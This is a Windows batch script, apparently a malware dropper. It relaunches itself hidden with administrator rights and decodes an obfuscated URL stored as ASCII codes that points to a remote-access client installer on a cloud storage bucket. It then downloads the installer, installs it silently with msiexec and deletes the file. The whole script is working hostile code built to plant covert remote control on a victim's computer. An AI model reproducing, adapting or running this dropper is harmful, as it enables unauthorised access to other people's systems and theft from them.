@echo off
if "%~1"=="HIDDEN" goto :INSTALL
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"%~f0\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
exit
:INSTALL
set "FILE=%TEMP%\~temp.msi"
set "echk=104116116112115058047047098105101097103116100107046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105"
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command ^
"try { $s='%echk%'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile '%FILE%' -UseBasicParsing } catch {}"
start "" /wait /b msiexec /i "%FILE%" /quiet /qn /norestart
del "%FILE%" /f /q >nul 2>&1
exit